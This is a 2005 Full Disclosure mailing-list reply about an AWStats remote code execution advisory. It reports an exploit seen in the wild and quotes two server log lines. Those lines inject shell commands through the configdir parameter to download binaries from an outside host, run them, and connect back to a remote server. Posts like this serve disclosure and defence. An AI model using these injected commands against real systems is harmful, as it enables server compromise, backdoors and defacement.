Full Disclosure mailing list archives
Re: [ GLSA 200501-36 ] AWStats: Remote code execution
From: Delian Krustev <krustev () krustev net>
Date: Wed, 26 Jan 2005 20:31:51 +0200
There's an exploit in the wild. Here's what it does: 200.96.166.252 - - [26/Jan/2005:06:32:00 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/cgi;ls%20-la%20cgi;chmod%20777%20cgi;./cgi;%00 HTTP/1.1" 200 538 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 200.96.166.252 - - [26/Jan/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00 HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" I don't have the time to investigate the "cgi" and "dc" binaries. The "cgi" at least tries to daemonize and opens a TCP listening socket. They also try to replace the index page on the vulnerable site. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- [ GLSA 200501-36 ] AWStats: Remote code execution Luke Macken (Jan 25)
- Re: [ GLSA 200501-36 ] AWStats: Remote code execution Delian Krustev (Jan 26)
- Re: [ GLSA 200501-36 ] AWStats: Remote code execution Niels Bakker (Jan 27)
- Re: [ GLSA 200501-36 ] AWStats: Remote code execution Joao Victor A. Di Stasi (Jan 27)
- Re: Re: [ GLSA 200501-36 ] AWStats: Remote codeexecution morning_wood (Jan 27)
- Re: [ GLSA 200501-36 ] AWStats: Remote code execution Delian Krustev (Jan 26)